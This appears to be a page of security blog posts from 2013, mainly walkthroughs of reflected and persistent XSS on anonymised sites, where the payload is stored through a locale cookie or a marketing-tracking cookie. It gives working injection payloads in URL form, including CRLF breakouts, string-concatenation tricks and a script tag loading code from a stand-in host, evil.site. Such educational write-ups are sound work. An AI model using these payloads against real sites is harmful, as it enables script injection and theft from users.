Posts (page 28 of 43)

RVAsec 2013: JavaScript Security & HTML5 May 31, 2013

Here are the slides for my presentation at this year’s RVAsec, JavaScript Security & HTML5. Thanks to all who attended!

RVAsec, held in Richmond, VA, is a relatively new conference. But one complete with hardware badges, capture the flag, and pizza and donuts for breakfast. So, yeah, mark your calendar for next year; it’s a worthwhile trip.

This was an iteration on the web security topics I’ve been focused on for the last several months, so you’ll notice many familiar concepts from previous presentations. (And some more emphasis on privacy, which shouldn’t be forgotten on the modern web.) A great thing about being able to talk on these subjects is that it gives me a chance to improve the content based on feedback and questions, and adjust the flow to keep it engaging. Now I’m at the point where I have enough material to take off on new tangents and build new content – it’ll be a busy summer.
The Wrong Location for a Locale Mar 28, 2013
Sites that wish to appeal to a global audience use internationalization and localization techniques that substitute text and presentation styles based on a user’s language preferences. A user in Canada might choose English or French, a user in Lothlórien might choose Quenya or Sindarin, and member of the Oxford University Dramatic Society might choose to study Hamlet in the original Klingon.

Unicode and character encoding like UTF-8 were designed so apps could easily represent the written symbols for these languages.

A site’s written language conveys meaning to its visitors. A site’s programming language gives headaches to its developers. Misguided devs like to explain why their favored language is superior. Those same devs often prefer not to explain how they end up creating HTML injection vulns with their superior language.

Several previous posts here have shown how HTML injection attacks are reflected from a URL parameter into a web page, or even how the URL fragment – which doesn’t make a round trip to the app – isn’t exactly harmless. Sometimes the attack persists after the initial injection has been delivered, with the payload having been stored somewhere for later retrieval, such as being associated with a user’s session.

Sometimes the attack persists in the cookie itself.

Here’s a site that tracks a locale parameter in the URL, right where we like to test for vulns like XSS.

https://web.site/page.do?locale=en_US

There’s a bunch of payloads we could start with, but the most obvious one is our faithful alert() message, as follows:

https://web.site/page.do?locale=en_US%22%3E%3Cscript%3Ealert%289%29%3C/script%3E

Sadly, no reflection. Almost. There’s a form on this page that has a hidden _locale field whose value contains the same string as the default URL parameter:
```
<input type="hidden" name="_locale" value="en_US">
```
Sometimes developers like to use regexes or string comparisons to catch dangerous text like <script> or alert. Maybe the site has a filter that caught our payload, silently rejected it, and reverted the value to the default en_US. How impolite and inhibiting to our attacks.

Maybe we can be smarter than a filter. After a couple of variations we come upon a new behavior that demonstrates a step forward for reflection. Throw a CRLF or two into the payload.

https://web.site/page.do?locale=en_US%22%3E%0A%0D%3Cscript%3Ealert(9)%3C/script%3E%0A%0D

The catch is that some key characters in the attack have been rendered as their HTML encoded version. But we also discover that the reflection takes place in more than just the hidden form field. First, there’s an attribute for the <body>:
```
<body id="ex-lang-en" class="ex-tier-ABC ex-cntry-US&# 034;&gt;

&lt;script&gt;alert(9)&lt;/script&gt;

">
```
And the title attribute of a <span>:
```
<span class="ex-language-select-indicator ex-flag-US" title="US&# 034;&gt;

&lt;script&gt;alert(9)&lt;/script&gt;

"></span>
```
And further down the page, as expected, in a form field. However, each reflection point killed the angle brackets and quote characters that we were relying on for a successful attack.
```
<input type="hidden" name="_locale" value="en_US&quot;&gt;

&lt;script&gt;alert(9)&lt;/script&gt;

" id="currentLocale" />
```
We’ve only been paying attention to the immediate HTTP response to our attack’s request. The possibility of a persistent HTML injection vuln means we should poke around a few other pages.

With a little patience, we find a “Contact Us” page that has some suspicious text. Take a look at the opening <html> tag in the following example. We seem to have messed up an xml:lang attribute so much that the payload appears twice:
```
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"https://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="https://www.w3.org/1999/xhtml" lang="en-US">

<script>alert(9)</script>

" xml:lang="en-US">

<script>alert(9)</script>

"> <head>
```
Plus, something we hadn’t seen before on this site – a reflection inside a JavaScript variable near the bottom of the <body> element.

(HTML authors seem to like SHOUTING their comments. Maybe we should encourage them to comment pages with things like // STOP ENABLING HTML INJECTION WITH STRING CONCATENATION. I’m sure that would work.)
```


<script> var v = {}; v["v_locale"] = 'en_US"&gt;

&lt;script&gt;alert(9)&lt;/script&gt;

'; </script>
```
Since a reflection point inside a <script> tag is clearly a context for JavaScript execution, we could try altering the payload to break out of the string variable:

https://web.site/page.do?locale=en_US">%0A%0D';alert(9)//

Too bad the apostrophe character (‘) remains encoded:
```
<script> var v = {}; v["v_locale"] = 'en_US&# 034;&gt;

&# 039;;alert(9)//'; </script>
```
That countermeasure shouldn’t stop us. This site’s developers took the time to write some insecure code. The least we can do is spend the time to exploit it. Our browser didn’t execute the naked <script> block before the <head> element. What if we loaded some JavaScript from a remote resource?
```
https://web.site/page.do?locale=en_US%22%3E%0A%0D%3Cscript%20
  src=%22https://evil.site/%22%3E%3C/script%3E%0A%0D
```
As expected, the page.do’s response contains the HTML encoded version of the payload. We lose quotes, but some of them are actually superfluous for this payload.
```
<body id="lang-en" class="tier-level-one cntry-US&# 034;&gt;

&lt;script src=&# 034;https://evil.site/&# 034;&gt;&lt;/script&gt;

">
```
Now, if we navigate to the “Contact Us” page we’re greeted with an alert() from the JavaScript served by evil.site.
```
<html xmlns="https://www.w3.org/1999/xhtml" lang="en-US">

<script src="https://evil.site/"></script>

" xml:lang="en-US">

<script src="https://evil.site/"></script>

"> <head>
```
Yé! utúvienyes!

I have found it! But what was the underlying mechanism? The GET request to the contact page didn’t contain the payload. It’s just:

https://web.site/contactUs.do

Thus, the site must have persisted the payload somewhere. Check out the cookies that accompanied the request to the contact page:
```
Cookie: v1st=601F242A7B5ED42A; JSESSIONID=CF44DA19A31EA7F39E14BB27D4D9772F;
  sessionLocale="en_US\\"> <script src=\\"https://evil.site/\\"></script> ";
  exScreenRes=done
```
Sometime between the request to page.do and the contact page the site decided to place the locale parameter from page.do into a cookie. Then, the site took the cookie’s value from request to the contact page, wrote it into the HTML (on the server side, not via client-side JavaScript), and let the user specify a custom locale.
Insistently Marketing Persistent XSS Mar 21, 2013
The last few HTML injection articles here demonstrated the ephemeral variant of the attack, where the exploit appears within the immediate response to the request that contained the XSS payload. The exploit disappears once the victim browses away from the affected page. The page remains vulnerable, but the attack must be delivered anew for every subsequent visit.

A persistent HTML injection is usually more insidious. The site still reflects the payload, but not necessarily in the immediate response to the request that delivered it. This decoupling of the point of injection from the point of reflection is much like D&D’s delayed blast fireball – you know something bad is coming, you just don’t know when.

In the persistent case, you have to find the payload in some other area of the app as well as have a means of mapping it back to the injection point. The usual trick is to use a unique identifier for each injection point. This way you know that when you see a page generate a console message with 8675309, it means you can look up the page and parameter where you originally submitted a payload that included console.log(8675309).

Typically the payload need only be delivered once because the app persists (stores) it such that any subsequent visit to the reflecting page re-delivers the exploit. This is dangerous when the page has a one-to-many relationship where an attacker infects a page that many users visit.

Persistence comes in many guises and durations. Here’s one that associates the persistence with a cookie.

This paricula app chose to track users for marketing and advertising purposes. There’s little reason to love user tracking (unless 95% of your revenue comes from it), but you might like it a little more if you could use it for HTML injection.

The hack starts off like any other reflected XSS test. Another day, another alert:

https://web.site/page.aspx?om=alert(9)

But the response contains nothing interesting. It didn’t reflect any piece of the payload, not even in an HTML encoded or stripped version. And – spoiler alert – not in the following script block:
```
//<![CDATA[//]]>
```
But we’re not at the point of nothing ventured, nothing gained. We’re at the point of nothing reflected, something might still be flawed.

So we poke around at more links. We visit them as any user might without injecting any new payloads, working under the assumption that the payload could have found a persistent lair to curl up in and wait for an unsuspecting victim.

Sure enough we find a reflection in an (apparently) unrelated link. Note that the payload has already been delivered. This request bears no payload:

https://web.site/wacky/archives/2012/cute_animal.aspx

Yet in the response we find the alert() nested inside a JavaScript variable where, sadly, it remains innocuous and unexploited. For reasons we don’t care about, a comment warns us not to ALTER ANYTHING BELOW THIS LINE!

No need to shout – we’ll alter things above the line.
```
//<![CDATA[//]]>
```
There are plenty of fun ways to inject into JavaScript string concatenation. We’ll stick with the most obvious plus (+) operator. To do this we need to return to the original injection point and alter the payload. (Remember, don’t touch ANYTHING BELOW THIS LINE!).

https://web.site/page.aspx?om="%2balert(9)%2b"

We head back to the cute_animal.aspx page to see how the payload fared. Before we can click to Show Page Source we’re greeted with that happy hacker greeting, the friendly alert() window.
```
//<![CDATA[//]]>
```
After experimenting with a few variations on the request to the reflection point (the cute_animal.aspx page) we narrow the persistent carrier down to a cookie value. The cookie is a long string of hexadecimal digits whose length and content remain stable between requests. This is a good hint that it’s some sort of UUID that points to a record in a data store where value for om variable comes from. Delete the cookie and the alert no longer appears.

The cause appears to be string concatenation where the s.prop17 variable is assigned a value associated with the cookie. It’s a common, basic, insecure design pattern.

So, we have a persistent HTML injection tied to a user-tracking cookie. A mitigating factor in this vuln’s risk is that the impact is limited to individual visitors. It’d be nice if we could recommend getting rid of user tracking as the security solution, but the real issue is applying good software engineering practices when inserting client-side data into HTML.

We’re not done with user tracking yet. There’s this concept called privacy…

But that’s a story for another day.